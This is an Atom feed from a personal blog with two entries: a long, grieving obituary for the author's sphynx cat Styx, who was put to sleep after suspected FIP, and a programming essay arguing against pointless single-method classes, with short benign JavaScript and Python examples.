<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">

  <title><![CDATA[fuzzy notepad]]></title>
  <link href="http://me.veekun.com/atom.xml" rel="self"/>
  <link href="http://me.veekun.com/"/>
  <updated>2013-04-30T15:59:21-07:00</updated>
  <id>http://me.veekun.com/</id>
  <author>
    <name><![CDATA[Eevee]]></name>
    
  </author>
  <generator uri="http://octopress.org/">Octopress</generator>

  
  <entry>
    <title type="html"><![CDATA[Goodbye, Styx]]></title>
    <link href="http://me.veekun.com/blog/2013/04/30/goodbye-styx/"/>
    <updated>2013-04-30T15:22:00-07:00</updated>
    <id>http://me.veekun.com/blog/2013/04/30/goodbye-styx</id>
    <content type="html"><![CDATA[<div class="prose-illustration">
<a href="http://me.veekun.com/media/2013-04/styx-goodbye.jpg" class="fancybox" title=""><img src="http://me.veekun.com/media/2013-04/styx-goodbye_m.jpg" alt="" /></a>
</div>

<p>I can hardly believe I posted a <a href="http://me.veekun.com/blog/2013/01/29/look-at-my-cat/">bunch of photos of Styx</a> earlier this year.</p>

<p>Three months later to the day, I put him to sleep.</p>

<p>I suppose this is his obituary.</p>

<!-- more -->

<h2 id="before">Before</h2>

<p>Mel and her husband moved in in January 2011.  Their party included an impressive array of critters, filling our formerly petless house to capacity:</p>

<ul>
  <li>Apollo, a German Shepherd who has yet to understand that he’s not still a puppy</li>
  <li>Granite, the husband’s 15yo cat he’d had since kittenhood</li>
  <li>Napoleon, a clumsy ditz of a rescue cat</li>
  <li>Armando, an affectionate sweetheart cat adopted alongside Napoleon</li>
  <li>Twigs, Mel’s pride and joy sphynx</li>
</ul>

<p>Sadly, the numbers dwindled over the course of the year: Granite succumbed to old age, and Armando had to be given away after months of trying to stop him from peeing on furniture.  This left us with just Twigs and Napoleon as permanent indoor fixtures.  As luck would have it, the two cats we lost were also the two who spent the most time around me: Granite mostly passed the time loafing on my bed (and, when I lay down, would saunter up to me and snuggle up with his crackly old-man purr), and Armando loved <em>everyone</em>.</p>

<p>Now, Twigs is pretty playful, whereas Napoleon is more…  dainty.  Without a cat buddy to play with, Twigs got increasingly rowdy over the following months, even with three humans to entertain him.  He also started hanging out with me a good bit more, much to Mel’s chagrin.</p>

<p>The natural outcome: it was decided that I needed my own cat, both as a buddy for me and as a playmate for Twigs.  Of <em>course</em>, he would have to be a sphynx as well.  So in early December Mel and I drove down to a breeder on the northern border of Oregon.</p>

<h2 id="styx">Styx</h2>

<p>I’d never had a pet before, really.  As a kid I’d had two county fair goldfish which, shockingly, both died within 24 hours.  Not a good track record.</p>

<p>While the breeder was trying to herd some of her five kittens out from under the bed, I spaced out a bit and looked around the room.  Sitting a few feet away from us was a single fearless kitten, watching us with a tiny scowl.  I squatted down and reached out to pet him; he tilted his head and swatted repeatedly at my hand, missing it completely but trying anyway.  On my second attempt he let me touch him, and he <em>immediately</em> let out the loudest purr I’ve ever heard—like coffee percolating.</p>

<p>By now the breeder had retrieved a few kittens, but I’d fallen in love already.  I played with him some while the breeder rustled up paperwork.  It took me ages to actually get the payment to go through, by which time I’d lost track of my chosen kitten; we found one who looked similar, but he was clearly not the same.  I was the one who found him in the end: he’d fallen asleep in a plush cat cube.</p>

<p>We’d decided in advance to name him Styx to match Twigs (but with a cooler spelling).  He slept in my arms almost all the way home.</p>

<p>I kept him in my room for the first week or so, letting the other two cats in to smell him a couple times before formally introducing everyone.  If I remember correctly, Napoleon wasn’t a huge fan at first, but Twigs got along with him pretty well right from the outset.  He was a scrawny and odd-shapen little kitten, with long lanky legs and a potbelly and gigantic paws; while age evened him out somewhat, he never quite grew out of being a barrel on stilts.  In clown shoes, I guess.</p>

<p>Now, Twigs’s affection is very direct: he’ll climb on top of you and expertly nestle his butt into any cat-shaped nook on you, or lean against your chest and make his deep sophisticated purr while nuzzling your chin.  I’d been around him for a year now, and had taken it for granted that another sphynx would act similarly.</p>

<p>Styx did not.  Everything about him was a little awkward.  He rarely quite made eye contact, instead opting to stare just over my shoulder.  He <em>very</em> rarely nuzzled, except on very special occasions.  And he never quite figured out how to sit on people—even when I got him to lie on me in bed, most of the time he would face away from me.</p>

<p>But he purred like crazy, especially for me.  One of our most common greetings was for him to come out to the kitchen and grumble at me, me to call out his name, and him to start purring from that alone.  He loved to be around me, and would frequently follow me around the house just to hunker down on the floor near my feet every time I moved around.  Sometimes I’d reach down to pet him, and he’d casually stroll just out of my reach and hunker down again, deciding that he didn’t want pets right this moment but still wanted to stay nearby.  He really liked when I pet him as he ate, too, and would somehow purr <em>while eating</em>.  I wouldn’t have thought that was even possible.</p>

<p>Something about his social awkwardness but clear desire for affection resonated with me right from the start, and I always found these little antics heartwarming.  Can’t imagine why.  :)</p>

<p>I’ve never known such a vocal cat, either.  Not just the very regular purring, either; he had a wide range of meows and used them frequently.  Many of them were closed-mouth grunts and grumbles—if something disturbed him in his sleep, he’d awake with a distinct “rrt”.  In the course of getting our attention, he’d often start with a short grunt and gradually escalate to a full meow, opening his mouth a crack more with each attempt: “rrt”, “mrrrr”, “mrraa”, “mrrrooow”.  This was particularly entertaining in contrast to Twigs, who only meowed when very emotional, and usually opened his mouth ridiculously wide to do so.</p>

<p>He never stopped being the rascal who first swatted at my hand, either.  He didn’t swipe at people much after that first time—in fact, I had a hard time ever getting him to play with my fingers, and the few times he did, he usually gave up after a minute and instead purred while staring at my hand.  But he <em>loved</em> anything flat and round or long and thin, like half the objects on my desk, and loved fishing.  He’d regularly drive me crazy by knocking a coin or bottle cap underneath my keyboard, then jostle it around for ages as he tried to fish it back out, sometimes even trying to stick his whole head underneath once he realized it wasn’t attached to my desk.  Once recovered, he liked to carefully hold a pencil or bottle cap in his teeth, hop down to the floor, and bat it around some more.  He also had a funny occasional habit of sitting on the edge of a book, reaching down, and scrabbling at the pages.  No idea what he was trying to do, but it was endlessly entertaining.</p>

<p>Styx liked to sleep with me, just as Twigs sometimes does, though with considerably less grace.  He generally hopped on the bed up near the top and climbed over my face on his way to burrowing under the comforter.  Usually he slept in the nook behind my knees (I sleep on my side), but sometimes he crawled all the way down and snuggled up to my feet.  Which I don’t understand at all, as my feet are generally <em>frozen</em> when I get into bed.  This also resulted in a few sudden starts in the middle of the night, when he forgot they were my feet and started flipping out and bear-hugging them with claws out.</p>

<p>Mornings were equally exciting.  Styx somehow developed the uncanny ability to wake me up 5–10 minutes before my alarm went off, <em>even when I changed the time</em>.  Usually this consisted of an escalating series of meows at the side of my bed, but on particularly sleepy mornings, he’d learned to walk around on my face a bit and then poke me.  Poke me!  I’d never known that was a thing, but he did it: he pressed a paw briefly against my face or shoulder with his claws out just enough to prickle.  Once he pressed his paw right against my closed <em>eye</em>.  That got me up pretty fast.</p>

<p>On weekends I’d lie in bed half-asleep petting him for a while as he stumbled around aimlessly on my bed, meowing at me occasionally, still walking over my face, and purring the entire time.  If I wasn’t in bed and he felt like taking a nap, he’d devote furious effort to burrowing his way under the comforter.  While awake, he almost always nestled into a neat compact loaf, but in his sleep he sprawled all over the place on his side—a couple times we almost squished him, not realizing the imperceptible bump in the bed was a snoozing cat.</p>

<p>Anothered favorite antic was to climb on shoulders.  Usually this happened if someone picked him up, but he also leaped onto my back by surprise a couple times, both when I was hunched down scooping litter and when I was standing up near an accessible launchpad.  Once in a while he’d sit nicely on a shoulder once there, but most of the time he lay down <em>on my back</em>, with his butt on my shoulder and the rest of him in a casual sphinx pose across my upper back, forcing me to hunch over to support him.  I’m sure it was no good for my back, but it was adorable, and an utterly ridiculous thing to be so stubborn about doing.</p>

<p>Styx loved everyone.  The first time we introduced him to Apollo was also the <em>only</em> time I’ve ever seen Styx scared of anything: he ran up the cat tree growling and hissing with the short fuzz on his tail bristling like a pipe cleaner!  I wish I could’ve ever seen it again, but Styx is too fearless and befriended Apollo after that.  Twigs has always mostly tolerated Apollo, but Styx practically had a secret friendship with him, giving him occasional nuzzles when they think no one’s looking.  He also tolerated Apollo’s attempts to play (nosejabs and lots of wet dog licks) remarkably well, even sometimes stumbling around Apollo’s legs purring while getting slobbered on.</p>

<p>Napoleon is very aloof and has only ever shown affection to Granite, who spurned his advances.  Styx likewise tried to rub on Napoleon at times, only for Napoleon to awkwardly inch away.  Alas.  Napoleon <em>did</em> groom Styx once in a while, though usually only on the fuzzy backs of his ears.</p>

<p>Styx and Twigs were practically brothers.  Sphynxes are endlessly playful, and the two of them kept each other entertained, racing up and down the hallway and having dramatic cat battles on my bed.  Twigs also liked Styx for his unique property of “being warm on my butt”, and liked to sit on him, which usually ended in Styx’s conceding his entire warm spot.  The pair of them often slept together, and Twigs liked to groom Styx (and escalate into mini cat battle by biting his neck and making his war meow).</p>

<p>But I was his favorite, and he would usually come to (or want to see) me, meowing the whole time.  For reasons unfathomable, he’d regularly sit out at the end of the hallway right in the way of anyone trying to walk anywhere and meow at nothing in particular until I came to see him.  (And then, not uncommon, instant purr.)  He’d sit on my desk in front of my monitor and stare off to the side.  He’d come into my room, hunch down on the floor, and just sit there.  He’d meow at me to go to bed with him, or meow at me until I at least lay on my bed and wrapped him in my robe and pet him until he purred himself to sleep.</p>

<h2 id="downhill">Downhill</h2>

<p>I came back from a Yelp visit at the beginning of the month.  I walked in the door, saw Styx waiting for me on the back of the couch, and <em>immediately</em> commented on how skinny he seemed.  Mel and her husband commented that he’d been kinda lethargic while I’d been gone, eating little and spending most of his time sleeping.  We speculated that it was separation anxiety, and I set about fussing him like crazy.</p>

<p>A week later, he was still noticeably skinny, despite eating plenty and otherwise seeming perfectly fine.  I was starting to worry, so I took him to a nearby 24/7 emergency vet (the only place open on a Sunday) to get him poked and prodded a bit.  The vet told me he had a heart murmur, something he’d always had, but looked fine weight-wise.  I could already see the faint outlines of his ribs and light bumps along his spine, but was at least somewhat reassured.</p>

<p>A few days passed; Styx was still skinny and still spent most of his time sleeping.  I took him to my regular vet—if nothing else, they might have an earlier record of his weight.</p>

<p>They did.  He’d been 9.6 lbs when they’d seen him in September.  Now he was 7.3 lbs.  They also had a record of his heart murmur, and it had definitely gotten worse.  They did some blood tests and found he was slightly jaundiced; the vet gave him a prognosis of “guarded” and recommended I see a cardiologist.  They gave him some antibiotics and a B-complex shot, and he at least seemed happier the rest of the day.</p>

<p>So a few days later I went back to the emergency vet, which happens to employ some specialists as well.  The cardiologist diagnosed him with hypertrophic cardiomyopathy (HCM), a genetic condition common in sphynxes that causes thickening of the heart muscle.  If undiagnosed, the heart can wear itself out abruptly, in the worst cases leading to the abrupt and unexpected death of a perfectly healthy cat.  (Or person—the same condition affects people, as well.)  The cardiologist prescribed a beta blocker to reduce his heart rate and ease the effort of his heart, but he also suggested I see an internal medicine specialist about the jaundice.</p>

<p>By now I’d been googling furiously for what could possibly be wrong, and hadn’t come up with much.  The possibility of feline infectious peritonitis had come up, but the cardiologist told me his latest bloodwork ruled it out.  What a relief!</p>

<p>This fourth set of vets kept Styx for the day to do an ultrasound.  They found a handful of concerning symptoms, including fluid in his abdomen and a few slightly-enlarged organs.  They sent off the fluid and more blood samples for a variety of tests, the results of which wouldn’t be back until the following week.  It was Thursday.  The internalist was off on Mondays.</p>

<p>On Friday I received his discharge papers, complete with a more detailed list of possible diagnoses.  The common possible diagnosis for each of his symptoms, and the top of the overall diagnostic list, was FIP.</p>

<p>Let me tell you about FIP.</p>

<p>Coronavirus refers to a family of viruses that cause SARS and a decent chunk of common colds.  Cats have their own family of feline coronaviruses, which are usually just as harmless: sometimes a runny nose or a bout of diarrhea, sometimes no symptoms at all, and then it’s gone.</p>

<p>Very rarely, though, a particular coronavirus will spontaneously mutate inside a cat and become a cruel sadistic joke.  It almost exclusively strikes young cats.  It causes vague unhelpful symptoms like fever and weight loss.  We don’t know why it mutates.  We don’t know how to prevent it.  We don’t know how to cure it.  We don’t have a reliable test for it.  And it is almost always rapidly fatal.</p>

<p>Thus began the worst weekend I’ve ever had.  I spent most of it sitting around holding him, crying, or both.  The googles didn’t do much to reassure me: the wet/effusive form of FIP, which he would have, had a median survival time measured in <em>days</em>.  I had trouble sleeping, not sure whether I’d still have a cat when I woke up.</p>

<p>At this point Styx still seemed otherwise healthy, despite having lost even more weight and spending most of the day sleeping.  Yes, yes, cats sleep a lot, but they don’t sleep <em>all day</em>: Styx would sleep for a few hours, get up to stuff his face and use the litterbox, then go right back to sleep.  He seemed happy, though, and was certainly content to snooze the hours away in my lap.</p>

<p>Was that really only a week and a half ago?</p>

<p>On Tuesday came a call telling me some lab results had come in: he was negative for a variety of regular infections that might have caused this.  On Thursday a PCR came back, inconclusive.  I took him back to the vet.</p>

<p>He’d been a little more active and still had a healthy appetite, but he’d lost some more weight even as I was stuffing his face with the most fattening cat food I could find, and he’d also peed my bed—but only once.  With everything else ruled out, the vet assumed FIP and prescribed him prednisolone, a steroid and immunosuppressant and the only treatment ever consistently observed to extend an infected cat’s lifetime at <em>all</em>.  We discussed some experimental treatments, but they were a bit of a pain to obtain.  They told me they’d look into them over the weekend; “no hurry”.</p>

<p>Styx ended up staying at the vet a few hours that day to get x-rays and some more bloodwork.  By the time I got him back, he was <em>desperate</em> to get out of his tiny cat prison, pawing at the door for the first time I’d ever seen.  When I let him out in the house, he was his purry affectionate self for the rest of the day, loving on my feet and stumbling around to see what everyone was doing.  He was definitely more active than he had been, and stayed that way for the next several days.</p>

<h2 id="end">End</h2>

<p>On Saturday, Styx developed diarrhea.  On the front door mat, right next to the litterbox.</p>

<p>That’s the thing I cried over the most.  I broke down sobbing several times in the process of cleaning it up.  This had been the final nail in Granite’s coffin, too.  We’d taken him to the vet after a week or two of litterbox misses, and been told that the best thing we could do for him was put him down that very night.  That was the first time I’d watched something bigger than a beetle die.  I still feel awful for being the one to insist we take him to a vet.</p>

<p>Sunday brought several rounds of misses, mostly on my floor.  I also discovered my robe, which doubled as Styx’s favorite cat blanket, had been peed on.  I quietly washed it and switched him quickly back to mostly dry food.  Sphynxes have sensitive stomachs; this might have been a bad reaction to the cat food, right?</p>

<p>I don’t want to preserve yesterday’s events in graphic detail for all time, so suffice to say: no.  Styx’s gastric problems got exponentially worse over the course of the morning (and I do <em>not</em> use words like “exponentially” lightly), and I spent most of my time cleaning up after him.  I had to wipe him off, give him a bath, wash my robe, scrub my floor.  The whole time he meowed sadly at me.</p>

<p>Mel was asleep, her husband was out.  I was at a loss for what to do.  I’ve always been terrible with hard decisions—on more than one occasion I’ve asked half a dozen different people for advice just in the hopes that hearing it will somehow save me from having to decide at all.</p>

<p>And then I looked at Styx and I knew he was done.</p>

<p>Mel woke up, her husband came home.  We fussed over Styx, spoiled him with lots of cottage cheese curds.</p>

<p>I washed my robe one last time and made a phone call.  I sat in the living room holding him while he burrowed into my robe and slept for a while.</p>

<p>I took Styx into my bedroom, still wrapped in my robe, and he gave me a brief purr.  The vet arrived and everyone shuffled in.  The first injection was a sedative, and he dozed off in a few minutes, with all of us petting him.</p>

<p>The second injection looked basically like drain cleaner.  I asked to press the plunger.  My cat, my call.</p>

<p>I saw the moment he died, just as I’d seen with Granite.  I can’t even explain what changed; one moment there was, plain as day, no longer a cat in there.  He was only a year and eight months old, almost to the day.</p>

<p>I was amazed how fast he went pale, cold.  Granite had been very furry, so he’d just been limp.  Styx felt icy within seconds—even with cats’ higher body temperature.</p>

<p>Together the three of us buried him in the front yard next to Granite, still wrapped in my robe.  Granite’s grave is marked by a humble square of granite tile; I suppose Styx’s should be marked by a tiny tree.  I’ll stop by a hardware store this week and see what I can find.</p>

<h2 id="me">Me</h2>

<p>We spent the rest of the day out at our special-occasion restaurant and wandering around a mall; I bought a new set of bedding, as my bed had already been ravaged by cat ass before this weekend and is beyond saving.  I’m in the market for a new robe, too.</p>

<p>Twigs has been taking it the hardest, yowling with surprising regularity.  He’s been a bit grumbly the past week, and was particularly sad all day yesterday.  I could swear he saw it coming.</p>

<p>I miss him terribly.  My bed feels very empty without a little cat nestled in it somewhere.</p>

<p>It’s a huge relief, though, to have some closure on this.  I spent a month worrying that my cat might die, and it was thoroughly exhausting.  If nothing else, I don’t have to worry any more.</p>

<p>I feel like I’ve been forced to grow up a lot all of a sudden, what with the grown-up decisions and existential crises.  I keep expecting to feel clichéd reactions, like regret or resentment or guilt, but I don’t at all.  I can’t even second-guess making the decision on the day I did.  It’s not rationality, or confidence; there’s just no other way it should have happened.</p>

<p>So, dying fucking sucks, in part because it’s all the sorrow of death dragged out for who knows how long.  Several times I thought I’d found hope it wasn’t FIP, or he might fight it off, or whatever, only to have it crushed soon thereafter.</p>

<p>Not that I will ever regret hoping.  I did get longer with him than I expected, and I’m glad for that.  I might not even have realized anything was wrong for much longer, had I not been gone for a week and a half and seen the weight loss suddenly rather than gradually.</p>

<p>I’m okay.  I’m sad, but I’m not <em>crushed</em> like I thought I would be.  In a way I lost much of Styx a month ago when he lost the energy to be his usual rascally self, and all the grief has been over the thought that I might never get that back.  Now I know for sure.  I feel worse for him than I do for me; by all accounts I’m perfectly fine, whereas he actually had to go through all this first-hand.</p>

<p>We fought tooth and nail, though.  He kept his voice and his appetite to his last breath, stuffing his face even as that last vet was having me sign paperwork, and I shelled out three grand trying to help him.  We lost, but we gave ‘em hell.</p>

<p>I’m not religious.  I can’t even euphemistically suggest he’s off in cat heaven somewhere romping around.  He’s not even in the ground in front of my house; that’s just a lump of animal now, something for bugs to eat.  Styx is gone and I can never see him again.</p>

<p>We hate the thought that we’ll die and forget everything we’ve done.  Our friends remember us, but they die as well.  No matter how permanent a legacy we leave, someday the planet will wilt and die, someday the sun will supernova, someday the universe will disperse into dust.  Zoom out far enough and nothing matters.  So what’s the point?  Where’s the meaning?</p>

<p>I always thought that was a funny question, seeing as the ones asking it are also the only ones equipped to answer it.  Styx is gone, but he had a great time while he was here, and he brightened our lives in turn.  That was sure enough for him.  This has been…  very difficult to write, yet I still can’t help but smile as I think about him, crying or not.</p>

<p>Life is its own meaning.</p>

<p>He was a fantastic cat and a wonderful little companion.  It was a privilege to have known him, however briefly, and I wouldn’t trade it for anything.</p>

<p>I did my best; I have no regrets.</p>

<h2 id="next">Next</h2>

<p>My next pet will be a rock.  Fuck mortality.</p>

<p>I’ll probably get another cat sometime.  Hopefully from a coronavirus-free breeder.  We absolutely can’t bring a new cat into the house for a few months, not least because it takes that long for coronavirus to die off, and I certainly don’t intend to go through this again anytime soon.</p>

<p>Alas; that’s exactly the amount of time in advance that I might want to reserve a kitten from a sphynx cattery, and I reeeeally don’t want to think about that quite yet.  (Mel does.  She’s already going crazy from having insufficient cat in the house.  And Twigs has no one to play with again, which along with cat grief is making him a colossal pest.)</p>

<p>I know of some custom plush makers.  I might see about getting a plush of Styx made.  Then he can scowl at me forever.</p>

<p>I took a ton of photos and video over the past month in a desperate attempt to record as much of him as possible.  I’m happy I have them, but given that most of them emphasize just how skinny Styx had gotten, I’m not sure I want to share them.  The photo at the top is one of the last I took, a mere six hours before he died.</p>

<p>Also, here is <a href="http://www.youtube.com/watch?v=30PUsNUQTyQ">Twigs playing with Apollo</a>.</p>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[The controller pattern is awful (and other OO heresy)]]></title>
    <link href="http://me.veekun.com/blog/2013/03/03/the-controller-pattern-is-awful-and-other-oo-heresy/"/>
    <updated>2013-03-03T17:33:00-08:00</updated>
    <id>http://me.veekun.com/blog/2013/03/03/the-controller-pattern-is-awful-and-other-oo-heresy</id>
    <content type="html"><![CDATA[<p>Almost a year ago now, <a href="http://jackdied.blogspot.com/">Jack Diederich</a> gave a talk entitled “<a href="http://www.youtube.com/watch?v=o9pEzgHorH0">Stop Writing Classes</a>”, in which he implores Python programmers to stop creating classes just for the hell of it, and specifically calls out the common pattern of a class with only a constructor/initializer and a single method—which should, of course, just be a function.</p>

<p>A few weeks ago, <a href="http://lucumr.pocoo.org/2013/2/13/moar-classes/">Armin Ronacher</a> wrote a rebuttal entitled “<a href="http://lucumr.pocoo.org/2013/2/13/moar-classes/">Start Writing More Classes</a>”, which argues that classes are essential for both writing extensible code and smoothing over crappy interfaces.  (Hm.  Now that I look at it again, if you read the post backwards, it almost sounds like he’s suggesting writing a class to smooth out the crappy interface you get from using too many classes…)</p>

<p>I’m having some trouble here, because I agree with both points of view.  There must be a way to resolve this contradiction, a message that resonates with everyone.</p>

<p>I think I’ve found it.</p>

<p><strong>Stop writing <em>stupid</em> classes.</strong></p>

<!-- more -->

<h2 id="some-context">Some context</h2>

<p>Before I clarify what I mean, I need to establish some definitions.  Quick: off the top of your head, what is object-oriented programming <em>about</em>?</p>

<p>Got an idea yet?</p>

<p>If you thought any of the words “encapsulation”, “inheritance”, “polymorphism”, “information hiding”, “abstraction”, or “vtables”, you are <em>wrong</em>.</p>

<p>If you thought any of the words “class”, “prototype”, or “type”, you are <em>still wrong</em>.</p>

<p><strong>Object-oriented programming is about <em>objects</em>: bundles of state and behavior.</strong>  The rest is optional fluff.  And object-oriented <em>languages</em> are defined only by having built-in support for bundling state and behavior, <em>not</em> by having built-in support for classes.  You may notice we don’t call it “class-oriented programming”.</p>

<p>Quick: off the top of your head, what makes JavaScript an object-oriented language?</p>

<p>If you thought “what?  it’s not!” then there is no hope for you and you should go back to C++.</p>

<p>If you thought “prototypes” or “the <code>new</code> operator”, you are wrong!</p>

<p>The key and <em>only</em> feature that makes JavaScript object-oriented is the humble and error-prone <code>this</code>.  Observe:</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
<span class="line-number">6</span>
<span class="line-number">7</span>
<span class="line-number">8</span>
<span class="line-number">9</span>
</pre></td><td class="code"><pre><code class="js"><span class="line"><span class="kd">var</span> <span class="nx">date</span> <span class="o">=</span> <span class="p">{</span>
</span><span class="line">    <span class="nx">year</span><span class="o">:</span> <span class="mi">2013</span><span class="p">,</span>
</span><span class="line">    <span class="nx">month</span><span class="o">:</span> <span class="mi">3</span><span class="p">,</span>
</span><span class="line">    <span class="nx">day</span><span class="o">:</span> <span class="mi">3</span><span class="p">,</span>
</span><span class="line">    <span class="nx">to_iso8601</span><span class="o">:</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
</span><span class="line">        <span class="c1">// we&#39;ll pretend this function exists</span>
</span><span class="line">        <span class="k">return</span> <span class="nx">sprintf</span><span class="p">(</span><span class="s2">&quot;%04d-%02d-%02d&quot;</span><span class="p">,</span> <span class="k">this</span><span class="p">.</span><span class="nx">year</span><span class="p">,</span> <span class="k">this</span><span class="p">.</span><span class="nx">month</span><span class="p">,</span> <span class="k">this</span><span class="p">.</span><span class="nx">day</span><span class="p">);</span>
</span><span class="line">    <span class="p">},</span>
</span><span class="line"><span class="p">};</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>There’s no <code>new</code> here.  There’s no prototype.  There’s just state and behavior, and that makes it an object.  What it <em>is</em> and what it <em>does</em>.  Even if JavaScript lacked prototypes entirely, it would <em>still</em> be object-oriented as long as you could use <code>this</code>.</p>

<p>“But what about classes?”  Who cares?  Worst case, you could <em>build your own class implementation</em> by copying the method definitions into every new object you created.  Maybe you’d make a master object containing those methods, for ease of copying.  Maybe you’d make the master object track all the objects derived from it, so you could propagate any changes to the master object.  You could even give the master object a special method all its own for generating new objects based on it.  And then the master object would itself be an object, so it could be an implementation of itself.  Wow, this sounds kinda like classes!</p>

<p>For similar reasons, C is <em>not</em> object-oriented.  You can write object-oriented <em>code</em> in C, but no matter what tricks you do with storing function pointers in structs, you still have to pass the struct itself as an explicit argument.  The behavior is completely divorced from and unaware of the state.</p>

<p>State and behavior.</p>

<p>I keep repeating this in the hopes that it sticks, because too much OO code is written like Java, and too many programmers believe that OO is defined <em>by</em> Java.  Well, you know, fuck Java.</p>

<p>Last pop quiz: what makes Python an object-oriented language?</p>

<p>Ah, hm.  It can’t be classes, or I’d tell you you’re wrong.  So what is it?  Attributes?  Those are just sugar for <code>__dict__</code> lookups.  <code>self</code>?  No, that’s not a keyword or anything; it’s just the de facto standard name for the first argument.  So what makes <code>self</code> work?</p>

<p>That’s close enough, really.  The answer is <a href="http://me.veekun.com/blog/2012/05/23/python-faq-descriptors/">descriptors</a>, which are basically “the things that make <code>self</code> work”.  A descriptor object is an attribute of a <em>class</em>, and it’s invoked whenever that attribute is accessed on an <em>instance</em> of that class.  Methods are, in fact, very simple descriptors that effectively return <code>partial(method, instance)</code>!</p>

<p>Descriptors are the <em>only</em> part of Python OO that cannot be semantically reimplemented in Python itself.  Methods are easy; I just told you how to do it.  Objects are just dicts with sugar (and descriptors!) on top.  Classes are sugar for dumping a scope into a dict; you could just as well do it manually with <code>locals()</code>.  Inheritance is just chained attribute lookup.  Metaclasses are just more objects in much the same way as the JavaScript example above.  These are all convenient patterns baked into the syntax, but descriptors are what make it <em>work</em>.</p>

<p>State and behavior.</p>

<h2 id="stupid-classes">Stupid classes</h2>

<p>This almost brings me back to my thesis, but first I need some examples of stupid classes.  I’m going to be writing these examples in Python because it has the local minimum of syntactic noise, but the idea’s the same basically anywhere.</p>

<h3 id="the-im-too-good-for-functions-antipattern">The “I’m too good for functions” antipattern</h3>

<p>A shockingly common form is the humble “job”—a task to be scheduled and performed.  Cron job, batch job, whatever it may be.  You generally have some <code>Job</code> master class (or “abstract base class” or whatever frilly name the documentation gives it):</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
<span class="line-number">6</span>
<span class="line-number">7</span>
</pre></td><td class="code"><pre><code class="py"><span class="line"><span class="k">class</span> <span class="nc">CleanupJob</span><span class="p">(</span><span class="n">Job</span><span class="p">):</span>
</span><span class="line">    <span class="c"># configuration: run at 5am</span>
</span><span class="line">    <span class="n">run_at</span> <span class="o">=</span> <span class="s">&#39;05:00&#39;</span>
</span><span class="line">
</span><span class="line">    <span class="c"># implementation: nuke expired sessions</span>
</span><span class="line">    <span class="k">def</span> <span class="nf">run</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span><span class="line">        <span class="n">delete_expired_stuff</span><span class="p">()</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>If you’ve watched “Stop Writing Classes”, you may immediately recognize this as one of the major sins he covered: a class that only has one method, which should instead be a function.  He’s right about that, but I have a different take on <em>why</em> this is so wrong, and I think my reasoning extends better to other kinds of stupid classes.</p>

<p>Here’s my question for you: <strong>what is a <code>CleanupJob</code> object?</strong></p>

<p>You might say “it’s a job for cleaning up stuff”.  That sure <em>sounds</em> reasonable—but then what is its state, and what is its behavior?  Its behavior appears to be deleting old things, but what does this have to do with the notion of a “job”?  What state does it have that’s relevant to deleting things?  I suppose if <code>Job</code> provides a database connection, the function could make use of it, but isn’t the connection itself more a part of “the job” or “your app configuration”, not so much the specific task of cleanup?</p>

<p>This is all a little murky.  Yet <code>Job</code> itself seems self-contained and clearly defined.  Presumably it has behavior like checking the time and setting up some resources and other bookkeeping—that is, its <em>behavior</em> is to set up some <em>state</em> and then call this <code>run</code> method.  It almost seems like <em>the class itself</em> is trying to be “a job for cleaning up stuff”.</p>

<p>And we’ve stumbled upon the problem here: the implementation, the <code>run</code> method, <strong>isn’t behavior</strong>.  It’s the <em>state</em>!  The behavior is to <em>run</em> this function, granted, but the function itself has <em>nothing to do</em> with jobs.  We’ve just turned it into a method because…  wait, why <em>did</em> we do that?  It’s not like passing functions around as data is particularly difficult in Python.</p>

<p>I have a hypothesis: this pattern is so common for the simple reason that <strong>Java doesn’t have first-class functions</strong>.  Java is one of the most common environments from which the current generation of programmers learned about object-orientation, but its inherent deficiencies mean that this simple job concept <em>cannot</em> be implemented correctly.  And I’m not only ragging on Java: I would put C++ and PHP in second and third place, and they have the <em>same flaw</em>.  (Yes, yes, you <em>can</em> pass function pointers around in C++, but it’s so awkward that it might as well be black magic.)</p>

<p>What’s my alternative?  Hard to say; it depends on your language’s idioms.  In the case of Python, decorators.</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
</pre></td><td class="code"><pre><code class="py"><span class="line"><span class="n">cleanup_job</span> <span class="o">=</span> <span class="n">Job</span><span class="p">(</span><span class="n">run_at</span><span class="o">=</span><span class="s">&#39;05:00&#39;</span><span class="p">)</span>
</span><span class="line">
</span><span class="line"><span class="nd">@cleanup_job.run</span>
</span><span class="line"><span class="k">def</span> <span class="nf">do_cleanup</span><span class="p">(</span><span class="n">job</span><span class="p">):</span>
</span><span class="line">    <span class="n">delete_expired_stuff</span><span class="p">()</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>You may notice that this looks <em>pretty</em> similar.  <strong>That’s good!</strong>  It means doing this the right way is really easy.  But look what we’ve gained here.</p>

<ul>
  <li>With classes like this that try to use inheritance as a configuration mechanism, you often want to reuse the same configuration.  So you make an intermediate class that has just the shared configuration.  Now you need something <em>slightly</em> different sometimes, so you add a mixin, and now you have multiple inheritance, and overrides propagate in weird ways, and who even knows what’s happening.</li>
  <li>The same implementation can rather naturally be attached to multiple jobs, without making even more of a mess of that artificial inheritance hierarchy.</li>
  <li>Need to add another kind of callback, like common pre-run bookkeeping, that only some subset of jobs share?  No problem: <code>cleanup_job.add_pre_run(setup_logging)</code>.</li>
  <li>You can test <code>Job</code> itself and particular jobs independently, and rather easily.  Create a <code>Job</code>-like class that has only the resources a particular job needs, and pass it in.  No need to, say, mock out all the internals to force the job to run immediately instead of at a specified time.</li>
</ul>

